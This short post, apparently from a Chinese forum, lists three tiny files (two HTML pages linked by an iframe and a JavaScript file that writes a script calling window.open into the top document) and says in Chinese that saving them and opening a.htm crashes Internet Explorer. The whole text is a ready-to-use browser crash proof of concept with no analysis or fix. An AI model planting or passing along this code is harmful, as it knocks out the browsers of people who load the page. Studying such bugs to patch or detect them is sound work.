a.htm :
<iframe src=b.htm>
b.htm :
<script LANGUAGE=javascript src=a.js></SCRIPT>
a.js :
this.top.document.write("<script LANGUAGE=javascript>setTimeout(this.window.open,1)</SCRIPT>");
保存这个3个文件,然后执行a.htm就会让IE崩溃。。